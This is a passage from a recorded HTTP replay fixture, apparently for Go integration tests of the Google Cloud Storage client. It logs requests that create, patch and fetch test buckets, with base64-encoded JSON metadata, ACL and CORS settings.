"eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA1IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjI5LjcyNFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozMC42MjhaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDUvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA1L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDUiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA1L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDUvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDUiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDUvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBST0ifQ==" - } - }, - { - "ID": "cab9472f01ed4bd5", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0005?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2431" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:31 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:31 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uo0__TFFuzUsEi6Eck0G1lblGy_1abmyPHERWBavjN2GHncyWWnKQ6yYaFDpDVQ-kfBS15M6H9NoxXUDS0hZ9VX8S9hK4rUGAAFWXznHjOntSK5ldY" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA1IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjI5LjcyNFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozMC42MjhaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDUvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA1L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDUiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA1L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDUvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDUiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDUvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBST0ifQ==" - } - }, - { - "ID": "7a196e6b35872d48", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "168" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJjb3JzIjpbeyJtYXhBZ2VTZWNvbmRzIjozNjAwLCJtZXRob2QiOlsiUE9TVCJdLCJvcmlnaW4iOlsic29tZS1vcmlnaW4uY29tIl0sInJlc3BvbnNlSGVhZGVyIjpbImZvby1iYXIiXX1dLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA2In0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "593" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:31 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpJhdZl7X4YXxzKdcr7SJ3C6Xadtlo0ixoS8DNO1jaDHs5MeGKu9nx2pHWPpnUWd13HZ8inxG0pMh3un84TucDfyLu4Z-5Gp7Ka3HBfPnt_w_VTiuE" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNiIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA2IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjMxLjQwN1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozMS40MDdaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJjb3JzIjpbeyJvcmlnaW4iOlsic29tZS1vcmlnaW4uY29tIl0sIm1ldGhvZCI6WyJQT1NUIl0sInJlc3BvbnNlSGVhZGVyIjpbImZvby1iYXIiXSwibWF4QWdlU2Vjb25kcyI6MzYwMH1dLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUU9In0=" - } - }, - { - "ID": "24b6a3b712ccab17", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0006?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "3" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "e30K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2539" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:31 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uqe_Q9NPVf3WTO_It8-A42wh0FD3KyF4kopi6posCEX6l28cnowG8O7WSYwETklwvpp0Uk1fCXiVmgwqLlWCSc3ez-nYllKp5m_UVtxup1E1UNadGg" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNiIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA2IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjMxLjQwN1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozMS40MDdaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDYvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA2L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDYiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA2L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDYvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDYiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDYvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNiIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUU9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBRT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsImNvcnMiOlt7Im9yaWdpbiI6WyJzb21lLW9yaWdpbi5jb20iXSwibWV0aG9kIjpbIlBPU1QiXSwicmVzcG9uc2VIZWFkZXIiOlsiZm9vLWJhciJdLCJtYXhBZ2VTZWNvbmRzIjozNjAwfV0sInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "ebed90fad884e1cd", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0006?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2539" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:32 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:32 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrjLjhrtR5T2TdsRM6X3HPy_6vnZjhUfpjytCivwknDLKhiMkND-f1qeZ4te6AnGrv_qtnGI4OGajQJaydHJvQZGWpnBQN9VOXHqYjSBTCxnNbcbC4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNiIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA2IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjMxLjQwN1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozMS40MDdaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDYvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA2L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDYiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA2L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDYvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDYiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiw